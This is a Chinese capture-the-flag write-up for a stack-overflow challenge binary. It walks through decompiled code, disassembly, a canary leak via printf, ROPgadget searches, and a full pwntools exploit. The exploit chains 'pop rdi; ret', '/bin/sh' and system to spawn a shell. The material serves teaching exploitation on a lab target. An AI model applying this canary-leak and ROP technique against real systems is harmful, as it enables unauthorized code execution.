一、原题链接
二、简单解题思路
0x01、查看程序保护
开启了canary保护和NX保护
0x02、main的栈
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[48]; // [rsp+10h] [rbp-240h] BYREF
char v5[520]; // [rsp+40h] [rbp-210h] BYREF
unsigned __int64 v6; // [rsp+248h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(argc, argv, envp);
write(1, "Welcome!\n", 0x10uLL);
write(1, "Please leave your name(Within 36 Length):", 0x29uLL);
read(0, buf, 0x300uLL);
printf("Hello %s\n", buf);
write(1, "Please leave a message(Within 0x200 Length):", 0x2CuLL);
read(0, v5, 0x300uLL);
printf("your message is :%s \nBye~", v5);
return 0;
}
可以发现read可以进行栈溢出
.text:0000000000400814 ; =============== S U B R O U T I N E =======================================
.text:0000000000400814
.text:0000000000400814 ; Attributes: bp-based frame
.text:0000000000400814
.text:0000000000400814 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400814 public main
.text:0000000000400814 main proc near ; DATA XREF: _start+1D↑o
.text:0000000000400814
.text:0000000000400814 var_250 = qword ptr -250h
.text:0000000000400814 var_244 = dword ptr -244h
.text:0000000000400814 buf = byte ptr -240h
.text:0000000000400814 var_210 = byte ptr -210h
.text:0000000000400814 var_8 = qword ptr -8
.text:0000000000400814
.text:0000000000400814 ; __unwind {
.text:0000000000400814 push rbp
.text:0000000000400815 mov rbp, rsp
.text:0000000000400818 sub rsp, 250h
.text:000000000040081F mov [rbp+var_244], edi
.text:0000000000400825 mov [rbp+var_250], rsi
.text:000000000040082C mov rax, fs:28h
.text:0000000000400835 mov [rbp+var_8], rax
.text:0000000000400839 xor eax, eax
.text:000000000040083B mov eax, 0
.text:0000000000400840 call init
.text:0000000000400845 mov edx, 10h ; n
.text:000000000040084A mov esi, offset aWelcome ; "Welcome!\n"
.text:000000000040084F mov edi, 1 ; fd
.text:0000000000400854 call _write
.text:0000000000400859 mov edx, 29h ; ')' ; n
.text:000000000040085E mov esi, offset aPleaseLeaveYou ; "Please leave your name(Within 36 Length"...
.text:0000000000400863 mov edi, 1 ; fd
.text:0000000000400868 call _write
.text:000000000040086D lea rax, [rbp+buf]
.text:0000000000400874 mov edx, 300h ; nbytes
.text:0000000000400879 mov rsi, rax ; buf
.text:000000000040087C mov edi, 0 ; fd
.text:0000000000400881 call _read
.text:0000000000400886 lea rax, [rbp+buf]
.text:000000000040088D mov rsi, rax
.text:0000000000400890 mov edi, offset format ; "Hello %s\n"
.text:0000000000400895 mov eax, 0
.text:000000000040089A call _printf
.text:000000000040089F mov edx, 2Ch ; ',' ; n
.text:00000000004008A4 mov esi, offset aPleaseLeaveAMe ; "Please leave a message(Within 0x200 Len"...
.text:00000000004008A9 mov edi, 1 ; fd
.text:00000000004008AE call _write
.text:00000000004008B3 lea rax, [rbp+var_210]
.text:00000000004008BA mov edx, 300h ; nbytes
.text:00000000004008BF mov rsi, rax ; buf
.text:00000000004008C2 mov edi, 0 ; fd
.text:00000000004008C7 call _read
.text:00000000004008CC lea rax, [rbp+var_210]
.text:00000000004008D3 mov rsi, rax
.text:00000000004008D6 mov edi, offset aYourMessageIsS ; "your message is :%s \nBye~"
.text:00000000004008DB mov eax, 0
.text:00000000004008E0 call _printf
.text:00000000004008E5 mov eax, 0
.text:00000000004008EA mov rcx, [rbp+var_8]
.text:00000000004008EE xor rcx, fs:28h
.text:00000000004008F7 jz short locret_4008FE
.text:00000000004008F9 call ___stack_chk_fail
.text:00000000004008FE ; ---------------------------------------------------------------------------
.text:00000000004008FE
.text:00000000004008FE locret_4008FE: ; CODE XREF: main+E3↑j
.text:00000000004008FE leave
.text:00000000004008FF retn
.text:00000000004008FF ; } // starts at 400814
.text:00000000004008FF main endp
.text:00000000004008FF
.text:0000000000400900
这里有两条关键语句
.text:000000000040082C mov rax, fs:28h
.text:0000000000400835 mov [rbp+var_8], rax
canary存在rbp+var_8处,使用gdb调试一下
在0x40082C处打断点
可以发现会把rax的值放在rbp-8的位置
0x03、构造payload
char buf[48]; // [rsp+10h] [rbp-240h] BYREF
write(1, "Please leave your name(Within 36 Length):", 0x29uLL);
read(0, buf, 0x300uLL);
这里使用第一个read函数来进行栈溢出,那么rbp的地址就是0x240
而刚才的关键语句0x400835地址中的var_8的为0x8
现在需要第一次回显泄露出canary的值,第二次利用canary的值来实现栈溢出
通过ROPgadget来获得pop rdi;ret和/bin/sh的地址
ROPgadget --binary pwn4_ --only "pop|rdi|ret"
这里为我们选择0x400963这条地址
本题的system里需要传参,所以还需要获取/bin/sh的地址
ROPgadget --binary pwn4_ --string "/bin/sh"
最后构建的栈为:
低地址
var = 垃圾数据
canary = canary
rbp = 垃圾数据
pop_rdi_ret = 0x400963
/bin/sh = 0x601068
高地址 system_addr = system地址(IDA pro 查看)
0x04、最终exp
from os import system
from pwn import *
import struct
p = process('./pwn4_')
context.log_level = 'debug'
p.recv(1024)
p.send((0x240 - 0x8) * b'a' + '\n'.encode())
p.recvline()
x = p.recvline().strip()
while len(x) < 8:
x = b'\x00' + x
canary_addr = x
print(b'canary:' + canary_addr)
# 使用IDA pro 查看system函数的地址
system_addr = struct.pack('<Q',0x400660)
# ROPgadget --binary pwn4_ --only "pop|rdi|ret"
pop_rdi_ret = struct.pack('<Q',0x400963)
# ROPgadget --binary pwn4_ --string "/bin/sh"
binsh_addr = struct.pack('<Q',0x601068)
payload = b'b' * (0x210 - 0x8) + canary_addr + b'p' * 8 + pop_rdi_ret + binsh_addr + system_addr
p.send(payload)
p.recv(1024)
p.interactive()
p.close()
栈溢出成功